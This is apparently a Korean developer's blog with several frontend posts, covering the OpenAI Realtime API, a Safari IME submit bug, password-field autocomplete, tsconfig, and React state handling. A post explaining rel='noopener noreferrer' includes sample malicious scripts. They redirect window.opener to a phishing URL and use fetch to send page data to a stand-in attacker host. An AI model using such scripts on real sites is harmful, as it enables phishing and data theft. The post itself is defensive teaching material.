끄적끄적 개발기록

OpenAI Realtime API란?

*히아* — Tue, 22 Apr 2025 14:52:22 +0900

Realtime api가 없는 음성 채팅 방식의 구조

사용자가 음성을 모두 녹음한다.
녹음이 끝난 뒤 서버로 음성 파일을 업로드한다.
서버는 음성을 텍스트로 변환(STT)하고 이를 분석해 응답을 생성한다.
응답 텍스트를 다시 음성(TTS)으로 변환해 사용자에게 전달한다.

복잡해 보이지 않지만, 이 방식은 모든 데이터가 처리 단계를 거친 뒤에야 응답할 수 있다는 구조적인 한계를 가지고 있다.

1. 높은 지연 시간

녹음, 업로드, 처리, 음성 합성이라는 단계를 거치다 보니 실시간 반응은 어렵다.

2. 실시간 피드백 부재

사용자가 말을 끝내기 전까지는 아무런 반응을 줄 수 없으며, 대화 중 끼어들기나 중간 피드백이 불가능하다.

3. 자연스러운 대화 어려움

억양, 강세, 감정 표현 등 사람처럼 말하기 위한 표현력이 부족하고, 실제 사람처럼 대화하기에는 한계가 많다.

Realtime API의 등장

The OpenAI Realtime API enables you to build low-latency, multi-modal conversational experiences with expressive voice-enabled models.

platform openai에 들어가보면 realtime에 대해 다음과 같이 설명이 되어있다.

말이 조금 어려워 재해석해보았다.

Realtime API는 저지연(low-latency)으로

음성과 텍스트(multi-modal)를 동시에 이해하고 생성하여

빠르고 표현적인(expressive) 소통이 가능하도록 하는 OpenAI의 최신 API이다.

정리하자면 저지연은 말그대로 지연이 낮다 = 즉, 빠르다는 뜻이고 multi-modal은 기존 단순 텍스트 기반 대화를 넘어 음성과 텍스트를 동시에 이해하고 생성할 수 있다는 것! 표현적인 것은 감정과 억양 등을 풍부하게 표현할 수 있다는 것이다!!

Realtime API는 사용자의 음성을 말하는 즉시 전송하고, 텍스트로 변환하고, 그에 대한 응답을 생성한 뒤 음성으로 실시간 전달하는 구조다. 결과적으로 마치 사람과 직접 대화하듯 끊김 없이, 빠르고 자연스러운 대화 흐름을 만들어낸다.

(경상도, 충청도, 전라도 사투리를 시켜봤는데 나름 잘해서 웃겼다...ㅋ)

Realtime API의 핵심 기술

Realtime API는 다음과 같은 4가지 핵심 기술로 구성된다:

gpt-4o-realtime-preview
- OpenAI의 최신 다중 모달 모델로, STT로 변환된 텍스트를 분석하고 적절한 응답을 생성한다.
gpt-4o-transcribe (STT)
- 사용자의 음성을 텍스트로 변환하는 음성 인식 모델이다.
- 기존 whisper 모델 밖에 사용할 수 없었는데, 약 한 달 전 모델이 업데이트되었다.
gpt-4o-mini-tts (TTS)
- 텍스트 응답을 자연스러운 음성으로 변환하는 텍스트-투-스피치 엔진이다.
- 기존 tts-1 모델 밖에 없었으나, stt 업데이트와 함께 모델이 업데이트되었다.
WebRTC
- 마이크로 입력된 음성을 실시간으로 전송하기 위해 사용하는 브라우저 기반 기술이다.

이 중에서 속도에 큰 영향을 주는 핵심 요소는 WebRTC이기에 더 자세하게 보고 넘어가자

WebRTC란?

WebRTC(Web Real-Time Communication)는 브라우저 기반에서 실시간으로 음성, 영상 데이터를 전송할 수 있게 해주는 기술이다.

줌(Zoom), 구글 미트(Google Meet) 같은 화상 회의 플랫폼도 이 기술을 사용한다.

기존 방식이 녹음 후 업로드라는 순차적 접근을 했다면, WebRTC는 사용자가 말하는 즉시 데이터 패킷(RTP 포맷, Opus 코덱)을 서버에 보내준다. 이 덕분에 별도 저장 없이 즉시 처리할 수 있고, 사용자 입장에서는 거의 지연 없는 대화를 경험할 수 있다.

Realtime API의 동작 순서

전반적인 큰 그림은 이미지와 같다.

사용자가 마이크에 대고 말한다.
WebRTC가 이 음성을 OpenAI 서버로 실시간 스트리밍한다.
gpt-4o-trascribe가 음성을 텍스트로 실시간 변환한다.
GPT-4o가 이 텍스트를 분석하고 응답을 생성한다.
gpt-4o-mini-tts가 응답을 음성으로 변환한다.
WebRTC를 통해 음성이 브라우저로 다시 전송된다.
브라우저에서 AudioContext 또는 Web Audio API로 음성을 재생한다.

이미지와 같이 다시 보면!

1. 사용자가 마이크에 대고 말한다.

2. WebRTC가 이 음성을 OpenAI 서버로 실시간 스트리밍한다.

3. gpt-4o-trascribe가 음성을 텍스트로 실시간 변환한다.

4. GPT-4o가 이 텍스트를 분석하고 응답을 생성한다.

5. gpt-4o-mini-tts가 응답을 음성으로 변환한다.

6. WebRTC가 생성된 음성을 브라우저로 실시간 스트리밍

7. 사용자의 브라우저에서 음성을 재생한다.

Realtime API는 음성 기반 인터랙션의 수준을 한 차원 끌어올린 것 같다.

(써보신 분들은 알거임)

다만 현재는 베타 버전이며, 일부 음성 인식 정확도 문제, 숫자 인식 오류, 의도치 않은 텍스트 변환 등 불안정한 부분도 존재한다.

하지만 이 역시도 모델의 지속적인 학습과 개선, TTS의 정밀도 향상, GPT 모델의 업데이트와 함께 점점 나아질 것으로 보인다.

OpenAI야 더 열일해죠~~

OpenAI Realtime API 새로운 request body payload와 새로운 모델의 등장

*히아* — Sun, 20 Apr 2025 14:50:13 +0900

OpenAI Realtime API 업데이트: 세션 생성 파라미터의 변화가 생겼습니다!

(사실 업데이트된지는 한 달 정도 됨..)

다음과 같이 OpenAI에서 새로운 audio 모델을 발표했다는 메일을 받게되었다.

기존 realtime api를 사용했을 때 stt는 whisper-1모델을 사용했었는데.. 특정한 뉴스보도 내용 등이 text로 변환되는 고질적인 문제가 있어 사내에서 음성채팅을 개발할 때 어려움을 많이 겪었었다...

새로운 모델이 나오며 realtime api도 몇가지 추가된 payload가 있어 같이 설명해보려한다.

STT: gpt-4o 모델 지원

wow! 이제는 stt 모델이 새롭게 나왔다! whisper-1 안 써도된다!!

gpt-4o-transcribe

gpt-4o-transcribe

- 해당 모델은 whisper모델에 비해 단어 오류율과 더 나은 언어 인식 및 정확도를 개선했다고 한다!!!

https://platform.openai.com/docs/guides/speech-to-text

gpt-4o-mini-tts 모델 추가

새로운 TTS 모델인 gpt-4o-mini-tts도 도입됐다. 기존 tts-1 모델도 whisper 만큼은 아니지만 오류가 많이 있긴했어서 갱장히 기대가 된다.

https://platform.openai.com/docs/models/gpt-4o-mini-tts

기존 세션 생성 방식

{
  modalities: ['text', 'audio'],
  instructions: 'AI에게 전달할 초기 명령어',
  voice: 'coral',
  input_audio_format: 'pcm16',
  output_audio_format: 'pcm16',
  input_audio_transcription: {
    model: 'whisper-1',
    language: 'ko',
    prompt: '말한 내용 그대로 변환하세요.'
  },
  turn_detection: {
    type: 'server_vad',
    threshold: 0.45,
    prefix_padding_ms: 600,
    silence_duration_ms: 800,
    create_response: true
  }
}

새로 추가된 필드들

1. input_audio_noise_reduction

input_audio_noise_reduction: {
  type: "near_filed" | "far_filed"
}

- 노이즈 감소 필터링을 적용할지 여부를 설정

- 노이즈 제거는 오디오 음성 감지기(VAD)와 모델에 전달되기 전에 선처리된다!

(openAI도 기존 VAD의 한계를 좀 느꼈나..싶었다)

2. turn_detection.eagerness

turn_detection: {
  ...,
  eagerness: 'high' | 'medium' | 'low' | 'auto';
}

- eagerness는 semantic_vad 모드에서만 사용되는 옵션

- AI가 얼마나 빠르게 응답을 시작할지 결정

'low': 사용자가 말을 더 오래 이어갈 것으로 보고, 응답을 늦게 시작함
'high': 말이 끝났다고 빠르게 판단하고 곧바로 응답 시작
'auto'(기본값): 내부적으로 'medium' 수준으로 작동

3. turn_detection.interrupt_response

turn_detection: {
  ...,
  interrupt_response: true
}

- 이 옵션은 AI가 응답을 말하는 도중에 사용자가 말을 시작하면, 현재 응답을 자동으로 중단할지를 설정하는 것

기본값은 true
끼어들기(interruption) 시, 기존 응답을 끊고 새 발화를 우선 처리함
false로 설정하면, 사용자의 끼어들기를 무시하고 응답을 끝까지 마무리함

사실 기존 모델에서는 인식의 오류가 정말 높아 실서비스까지는 하기 좀 힘들었는데

새로운 모델들의 성능이 얼마나 많이 높아졌을지! 궁금하다.

모델 변경으로 얼마나 큰 변화가 있을지는 다음편에 계속....

Safari에서 일본어 입력 시 Enter가 form submit 되는 이슈 해결기

*히아* — Thu, 10 Apr 2025 10:46:14 +0900

웹 프로젝트에서 입력 폼을 만들다 보면 다양한 언어 환경과 브라우저 동작을 고려해야 합니다. 최근 일본어를 입력하는 Safari 유저에게서 다음과 같은 문제가 발생했습니다.

문제: 일본어 입력 도중 Enter 키를 누르면 한자 변환 확정이 아니라 폼이 제출(submit) 되어버리는 현상

이 문제는 Chrome, Firefox 등 다른 브라우저에서는 발생하지 않았기 때문에 원인을 파악하고 해결하는 데 꽤 시간이 걸렸습니다. 이 글에서는 문제 상황, 원인 분석, 그리고 해결 과정까지 모두 공유해보겠습니다.

문제 상황 재현

⚙️ 환경

브라우저: Safari (macOS, iOS)
입력 언어: 일본어

<form onSubmit={handleSubmit}>
  <textarea onKeyDown={handleChangeHeight} />
  <button type="submit">Send</button>
</form>

⛔ 문제가 되는 행동

Safari에서 일본어를 입력할 때, 예를 들어 こんにちは를 한자로 바꾸기 위해 입력 후 Enter를 누르면…

Chrome, Firefox: IME 입력이 확정되고, submit은 되지 않음
Safari: IME 입력이 끝나기도 전에 form이 submit 됨

즉, 사용자는 아직 입력 중인데 메시지가 전송돼버리는 UX 문제가 발생합니다.

원인 분석

Safari에서는 onKeyDown 이벤트의 e.nativeEvent.isComposing 값이 기대한 것보다 빨리 false가 되거나,
onCompositionEnd가 IME 입력 확정 전에 먼저 호출되는 경우가 있었습니다.

이는 IME(입력기) 동작의 타이밍 차이에서 비롯되며, 특히 Safari에서 더 자주 발생합니다.

Safari는 변환 중인데도 compositionend가 너무 빨리 오는 경우 있습니다.

(크롬은 문제 없이 잘 동작...)

=> isComposing 상태를 추적해서 Enter를 무시해야 함

‼️ IME란?

IME (Input Method Editor)는 키보드로 직접 입력할 수 없는 문자나 언어를 입력할 수 있게 도와주는 도구

[ IME의 동작 흐름 ]
1. Composition Start (입력 시작)
   예: konnichiha를 타이핑하면 아직 "未確定" 상태의 문자로 처리됨

2. Composition Update (입력 중)
   계속해서 입력이 바뀌는 중. 사용자는 아직 확정하지 않았고 IME가 후보를 보여줌.

3. Composition End (입력 확정)
   사용자가 Enter 등을 눌러 후보를 선택하면, 확정된 문자가 입력 필드에 반영됨.

원래 시도했던 방식 (실패)

const handleKeyDown = (e: KeyboardEvent) => {
  if (e.nativeEvent.isComposing) return; // 입력 중이면 무시
  if (e.key === 'Enter') {
    e.preventDefault(); // submit 방지
    handleSubmit();
  }
};

이 방법은 Chrome에서는 잘 작동했지만, Safari에서는 isComposing === false인데 여전히 변환 중인 상태라 submit이 발생했습니다.

✅ 해결 방법

isComposing 상태를 useRef로 직접 관리
onCompositionStart / onCompositionEnd으로 정확한 입력 상태 감지
Safari의 빠른 onCompositionEnd를 보완하기 위해 setTimeout 사용

최종 코드

const isComposingRef = useRef(false);

const handleCompositionStart = () => {
  isComposingRef.current = true;
};

const handleCompositionEnd = () => {
  setTimeout(() => {
    isComposingRef.current = false;
  }, 10); // Safari 대응
};

const handleKeyDown = (e: KeyboardEvent<HTMLTextAreaElement>) => {
  if (e.key === 'Enter' && !e.shiftKey) {
    if (isComposingRef.current) {
      e.preventDefault();
      return;
    }

    e.preventDefault();
    handleSubmit(e as unknown as FormEvent);
  }
};

<Textarea
  ref={textareaRef}
  onKeyDown={handleKeyDown}
  onCompositionStart={handleCompositionStart}
  onCompositionEnd={handleCompositionEnd}
/>

useState는 비동기적으로 동작하기 때문에 onKeyDown에서 즉시 반영되지 않을 수 있어서

동기적으로 참조 가능한 useRef로 변경하여 더 안정적으로 composition 상태를 추적!!

브라우저에서 비밀번호로 인식하게 만들기

*히아* — Thu, 12 Sep 2024 13:35:46 +0900

기존 프로젝트 디자인 상 비밀번호 입력하는 란이 아래와 같이 4개로 분할되어 있었다.

따라서 이에 맞춰 4개의 input칸을 만들었다.

{maskedValues.map((value, index) => (
	<input
		key={index}
		type="password"
		inputMode="numeric"
		maxLength={1}
		value={value}
		onChange={e => handleChange(index, e.target.value)}
		onKeyDown={e => handleKeyDown(index, e)}
	/>
))}

이렇게 하다 보니 브라우저 단에서 비밀번호로 인식을 못하여 비밀번호 저장 팝업이 뜨지 않는 문제가 생겼다.

이유는 브라우저는 주로 input 태그에서 type="password"로 설정된 필드를 찾아 비밀번호 필드로 인식하지만 단순히 type="password"만으로는 충분하지 않을 수 있다는 것..

input 필드에 autocomplete="current-password" 속성을 추가해보았다.

** autocomplete 속성은 HTML 폼에서 입력 필드에 자동 완성을 지원하기 위한 속성

utocomplete="current-password": 현재 비밀번호 입력 필드에 자동 완성

하지만 추가해도 브라우저에 자동 저장이 되지 않았다.

이유는 비밀번호를 4개의 input 필드로 나누어 입력하도록 구성했기 때문에 브라우저가 이를 비밀번호 입력 필드로 인식하지 못할 수도 있다는 것,,

따라서 보이는 input을 따로 두고 실제 값은 하나의 input에 저장되게끔 해주었다.

{getMaskedValues().map((value, index) => (
	<div key={index} className="password__input-wrapper">
		<input
			type="password"
			value={value ? '*' : ''}
			readOnly
			className="password__input"
			onFocus={() => inputRef.current?.focus()} // 클릭 시 실제 입력 필드로 포커스 이동
		/>
		{/* 가짜 커서를 표시하기 위한 div */}
		{password.length === index && <div className="cursor" />}
	</div>
)}
{/* 실제로 입력을 받는 숨겨진 input */}
<input
	type="password"
	autoComplete="current-password" 
	inputMode="numeric"
	maxLength={4}
	value={password}
	onChange={handleChange}
	onKeyDown={handleKeyDown}
	ref={inputRef}
	style={{ opacity: 0 }}
/>

커서가 생기지 않아 커서처럼 보이는 div를 따로 만들어 주었다.

이렇게 하니 브라우저가 비밀번호로 인식을 하기 시작했다!!

wow!!

tsconfig에서 allowSyntheticDefaultImports flug

*히아* — Tue, 6 Aug 2024 10:23:41 +0900

react에서 json 파일을 import 해오는데 다음과 같은 에러가 났다.

Module '"/Users/heesun/Documents/salin/linker/linker-front-sender/src/pages/Main/briefer_intro"' can only be default-imported using the 'allowSyntheticDefaultImports' flagts(1259)
briefer_intro.json(1, 1): This module is declared with 'export =', and can only be used with a default import when using the 'allowSyntheticDefaultImports' flag.

하지만 이미 tsconfig.node.json파일에 ES모듈과 CommonJS 모듈을 호환해주는 allowSyntheticDefaultImports: true 로 되어있었다.

allowSyntheticDefaultImports은 typescript 컴파일러 옵션 중 하나로, TypeScript가 **ES 모듈과 CommonJS 모듈을 호환하도록 도와주는 옵션이다. 이 옵션을 사용하면 CommonJS 모듈을 마치 ES6 모듈처럼 기본 import로 가져올 수 있다. (원래 CommonJS 모듈은 다른 모듈을 가져올 때 require 함수를 사용).

하지만 일반적으로 CommonJS는 Node.js환경에서 사용하고 ES모듈은 브라우저와 Node.js모두 사용 가능하기에 import 구문을 사용하려는 것!

tsconfig.node.json에도 있지만 tsconfig.app.json에도 해당 플러그를 넣어야 하는 이유는 일단 둘이 include하고 있는 디렉토리가 다르고 (tsconfig.node.json은 [vite.config.ts], tsconfig.app.json은 ["src", "src/**/*.json"]) tsconfig.app.json은 애플리케이션에서 JSON 파일이나 CommonJS 모듈을 import 구문으로 가져올 때 필요하며, tsconfig.node.json은 빌드 도구 설정 파일이나 기타 Node.js 관련 코드에서 JSON 파일이나 CommonJS 모듈을 import 구문으로 가져올 때 필요하다!

a 태그 target="_blank" 와 rel="noopener noreferrer"

*히아* — Thu, 1 Aug 2024 12:55:14 +0900

target_blank를 두면 연결된 링크가 새로운 탭으로 열리게 된다.

여기서의 문제점이 바로 보안 취약점이 발생할 수 있다는 것!

새 창이 열리면, 새 창은 원본 창에 대한 참조(window.opener)를 가지게된다.

target="_blank"를 사용하여 링크를 클릭해 새로운 탭이나 창을 열 때, 새로 열린 창이나 탭은 원본 창의 window.opener 객체에 접근할 수 있습니다. 이를 통해 악성 코드가 포함된 페이지는 원본 창을 조작할 수 있다!

여기서 rel="noopener noreferrer"를 추가하면 이 보안 취약점을 보완할 수 있게 된다!

noopener: 새 탭이 window.opener 속성에 액세스하는 것을 방지하여 새 창을 원본 창과 효과적으로 분리할 수 있게 된다!!

noreferrer: 이 속성은 noopener 동작을 포함할 뿐만 아니라 리퍼러 정보가 새 탭으로 전송되지 않도록 보장합니다. 이는 원본 페이지의 URL이 링크된 페이지에 공개되지 않도록 하는 개인정보 보호 이유로 유용할 수 있다!!

보안 취약점 예시

1. 악성 페이지는 원본 창의 URL을 변경하여 사용자가 의도하지 않은 피싱 사이트로 이동하게 할 수 있습니다. 사용자는 여전히 신뢰할 수 있는 사이트에 있다고 생각하지만, 사실은 가짜 사이트에 민감한 정보를 입력하게 된다.

<!-- 악성 페이지의 스크립트 예시 -->
<script>
  if (window.opener) {
    // 원본 창의 URL을 피싱 사이트로 변경
    window.opener.location = 'https://phishing-site.com';
  }
</script>

2. 새로운 창이 원본 창의 window.opener 객체에 접근할 수 있기 때문에, 원본 창의 일부 정보가 노출될 수 있습니다. 이는 개인 정보나 민감한 데이터를 포함할 수 있다.

<!-- 악성 페이지의 스크립트 예시 -->
<script>
  if (window.opener) {
    const userInfo = window.opener.document.getElementById('user-info').innerText;
    console.log('User Info:', userInfo);
  }
</script>

근데 일반적으로 사용자가 새 창을 열 때 원본 창과 새 창을 동시에 보는거면 데이터 접근이 당연하게 가능한 거 아닌가????

보안 취약점은 단순히 데이터를 보는 것과는 다르다고 한다.

<!-- 새 창의 악성 코드 -->
<script>
  if (window.opener) {
    // 원본 창의 특정 요소에서 정보 추출
    const userInfo = window.opener.document.getElementById('user-info').innerText;
    console.log('User Info:', userInfo);
    // 유출된 정보를 공격자의 서버로 전송
    fetch('https://attacker-site.com/collect', {
      method: 'POST',
      body: JSON.stringify({ info: userInfo }),
      headers: {
        'Content-Type': 'application/json'
      }
    });
  }
</script>

불필요한 상태 삭제하기 + enabled

*히아* — Sat, 27 Jul 2024 01:41:47 +0900

export const useGetProjectVerify = ({ projectId, password }: ReqGetProjectVerify) => {
	return useQuery({
		queryKey: [VERIFY, projectId, password],
		queryFn: () => getProjectVerify({ projectId, password }),
		enabled: !!password,
	});
};

import { useEffect, ChangeEvent, Dispatch, SetStateAction, useState } from 'react';
import { IoLockClosedOutline } from 'react-icons/io5';
import { useGetProjectVerify } from '@hooks/query/useGetProjectVerify';
import { modalContentType, useModalStore } from '@stores/modalStore';

interface ChatbotPasswordProps {
	setIsOpenVerifyPage: Dispatch<SetStateAction<boolean>>;
}

export default function ChatbotPassword({ setIsOpenVerifyPage }: ChatbotPasswordProps) {
	const [password, setPassword] = useState('');
	const [verifyPassword, setVerifyPassword] = useState('');
	const { setModalState } = useModalStore();

	const { data, isLoading, isError } = useGetProjectVerify({
		projectId: import.meta.env.VITE_ASSISTANT_LICENSE_KEY,
		password: verifyPassword,
	});

	const handleChange = (event: ChangeEvent<HTMLInputElement>) => {
		setPassword(event.target.value);
	};

	const handleSubmit = () => {
		setVerifyPassword(password);
	};

	useEffect(() => {
		if (verifyPassword && !isLoading) {
			if (data?.data.isCorrectPassword) {
				setIsOpenVerifyPage(false);
			} else if (data && !data?.data.isCorrectPassword) {
				setModalState(modalContentType.PASSWORD_WARNING_MESSAGE, true);
			} else if (isError) {
				setModalState(modalContentType.PASSWORD_WARNING_MESSAGE, true);
			}
		}
	}, [verifyPassword, data, isLoading, isError]);

	const isSubmitDisabled = password.length === 0;

	return (
		<section className="password">
			<h2 className="password__title">Enter password</h2>
			<IoLockClosedOutline className="password__icon" />
			<div className="password__input-container">
				<input type="password" value={password} onChange={handleChange} className="password__input" />
			</div>
			<button className="password__submit" onClick={handleSubmit} disabled={isSubmitDisabled}>
				Submit
			</button>
		</section>
	);
}

hook에 key가 password가 있기에 하단에서 verifyPassword가 없으면 password가 변경될 때 마다 hook이 실행되어 불필요하게 네트워크를 요청하고 있었다. 따라서 onChange는 password를 바라보게 하고 submit 버튼을 누를 때는 password를 verifyPassword에 저장되게했다.

하지만 누가봐도... 불필요하게 state가 두 개 있는 느낌,,,

export const useGetProjectVerify = ({ projectId, password }: ReqGetProjectVerify) => {
	return useQuery({
		queryKey: [VERIFY, projectId, password],
		queryFn: () => getProjectVerify({ projectId, password }),
		enabled: false, // 자동 실행을 비활성화
		retry: false, // 실패 시 재시도 방지
	});
};

기존 hook을 이렇게 방지하여 enabled를 아예 false로 변경해 자동 실행을 비활성화 해주었고

실패 시 바로 에러 모달창을 띄워주기 위해 retry도 false로 변경해주었다.

import { useEffect, ChangeEvent, Dispatch, SetStateAction, useState } from 'react';
import { IoLockClosedOutline } from 'react-icons/io5';
import { useGetProjectVerify } from '@hooks/query/useGetProjectVerify';
import { modalContentType, useModalStore } from '@stores/modalStore';

interface ChatbotPasswordProps {
	setIsOpenVerifyPage: Dispatch<SetStateAction<boolean>>;
}

export default function ChatbotPassword({ setIsOpenVerifyPage }: ChatbotPasswordProps) {
	const [password, setPassword] = useState('');
	const { setModalState } = useModalStore();

	const { data, isLoading, error, isError, refetch } = useGetProjectVerify({
		projectId: import.meta.env.VITE_ASSISTANT_LICENSE_KEY,
		password: password,
	});

	const handleChange = (event: ChangeEvent<HTMLInputElement>) => {
		setPassword(event.target.value);
	};

	const handleSubmit = () => {
		refetch(); // 비밀번호 검증 쿼리를 실행
	};

	useEffect(() => {
		if (!isLoading && data) {
			if (data.data.isCorrectPassword) {
				setIsOpenVerifyPage(false);
			} else if (data && !data.data.isCorrectPassword) {
				setModalState(modalContentType.PASSWORD_WARNING_MESSAGE, true);
			}
		}
	}, [data, isLoading, setIsOpenVerifyPage, setModalState]);

	useEffect(() => {
		if (isError || error) {
			setModalState(modalContentType.PASSWORD_WARNING_MESSAGE, true);
		}
	}, [isError, error]);

	const isSubmitDisabled = password.length === 0;

	return (
		<section className="password">
			<h2 className="password__title">Enter password</h2>
			<IoLockClosedOutline className="password__icon" />
			<div className="password__input-container">
				<input type="password" value={password} onChange={handleChange} className="password__input" />
			</div>
			<button className="password__submit" onClick={handleSubmit} disabled={isSubmitDisabled}>
				Submit
			</button>
		</section>
	);
}

후에 이렇게 변경!

로컬state를 만들어 서버 부하 줄이기

*히아* — Wed, 17 Jul 2024 22:49:45 +0900

챗봇을 개발하면서 assistant api를 사용했다.

노출되는 api-key로 인해 프록시 서버를 만들어 openai 의 api를 사용했다.

기존에는 질문을 던지고 대답을 받으면 다시 메시지리스트를 refetch하여 사용했는데 그럼 메시지 답변을 주고 받을 때마다 refetch가 일어나 성능상 좋지 못할 것 같았다.

따라서 useEffect로 localMessageList를 만들어 저장한 뒤 챗봇 탭이 (gpt로 치면 채팅방) 변경될 때에만 refetch 로 메시지 리스트를 가져오게 변경했다. 따라서 탭이 변경되지 않는다면 서버 부하가 훨~씬 줄어들게 된다.

	useEffect(() => {
		if (!isAnswerLoading && streamingAnswer) {
			const userMessage: LocalMessagesListDataType = {
				id: String(Math.random()),
				created_at: Math.floor(Date.now() / 1000),
				role: 'user',
				content: [{ text: { value: query } }],
				attachments: [],
			};
			const assistantMessage: LocalMessagesListDataType = {
				id: String(Math.random()),
				created_at: Math.floor(Date.now() / 1000),
				role: 'assistant',
				content: [{ text: { value: streamingAnswer } }],
				attachments: [{ file_id: streamingFileId }],
			};
			setLocalMessageList(prev => [...prev, userMessage, assistantMessage]);
			clearStreamingAnswer();
			clearQuery();
		}
	}, [isAnswerLoading, streamingAnswer, streamingFileId, clearStreamingAnswer, query, setQuery]);

상태관리 유형 분류

*히아* — Mon, 15 Jul 2024 15:58:30 +0900

1. Flux 방식

Redux, Zustand가 이 유형에 속한다.

top-down 방식

옵저버 패턴

https://haruair.github.io/flux/docs/overview.html

Action이 발생하면, Dispatcher에서 이를 해석한 후 Store에 저장된 정보를 갱신하고, 그 결과가 다시 View로 전달된다.

2. Proxy 방식

MobX가 이 유형에 속한다.
이 유형은 상태를 프록시 객체로 래핑

직접 객체를 다루지 않고, 프록시를 통해 작업을 수행

객체지향 프로그래밍과 잘 맞다.
물론 함수형 프로그래밍과 함께 사용할 수 있긴 하지만, 이들의 핵심 원칙과 기능은 객체 지향 프로그래밍의 원칙과 더 잘 어울린다.

3. Atomic 방식

Recoil, Jotai가 이 유형에 속한다.
이 유형은 전체 상태를 원자 (Atom)으로 나누는 것을 추구한다.
원자는 업데이트 가능하고 구독 가능한 상태의 단위이며, 이들은 서로 다른 부분에서 독립적으로 사용된다.
때문에 상태 관리의 모듈화가 쉽고, 코드의 재사용성이 높아진다.

https://velog.io/@greencloud/%EC%9A%B0%EB%A6%AC-%ED%8C%80%EC%9D%B4-Zustand%EB%A5%BC-%EC%93%B0%EB%8A%94-%EC%9D%B4%EC%9C%A0

우리 팀이 Zustand를 쓰는 이유

다른 것도 좋은데.

velog.io

lint와 formatter는 엄연히 다르다.

*히아* — Mon, 15 Jul 2024 15:35:20 +0900

fomatter는 코드 스타일에 관여

lint는 잠재적인 오류를 정적 테스트하는 것

ESLint는 8.53.0 버전에서 핵심 포맷팅 규칙을 폐기하고, 코드 포맷터 사용을 권장한다는 것!

이는 ESLint 유지보수 부담을 줄이고, 일관성을 높이기 위한 결정.

포맷팅 규칙은 점점 복잡해져서 여러 스타일 가이드를 지원해야 했고, 이는 비효율적이었기에 결정을 했다.

ESLint 8.53.0 이전 버전에서는 린트임에도 불구하고 포맷팅 규칙이 존재했다.

(포맷팅 규칙은 띄어쓰기, 세미콜론, 문자열 형식 등을 아우르는 코드 컨벤션을 강화시켜 주는 규칙을 의미)

둘은 엄연히 다른데 왜 ESLint에는 포멧팅 규칙이 존재했을까?

2013년 ESLint가 처음 릴리즈되었을 때 자바스크립트 생태계는 린터가 코드 포멧팅을 포함할지 말아야할지에 대한 논쟁이 분분했었다.

ESLint는 유저의 수요(특히 개밸자는 하나의 툴로 모든 것을 끝내고 싶어했기에,,)로 포멧팅을 추가하기로 결정했다.

하지만 자바스크립트의 빠른 진화로 유지보수의 부담감이 증가하게 되며 결국 ESLint는 포멧팅 규칙을 없애기로 한 것!

결론적으로 prettier 사용 없이 ESLint로 코드 포멧팅과 린트용으로 사용했던 유저라면 신규 버전의 ESLint를 사용하려면 prettier를 사용하여 포멧팅도 함께 하는 것을 권장한다.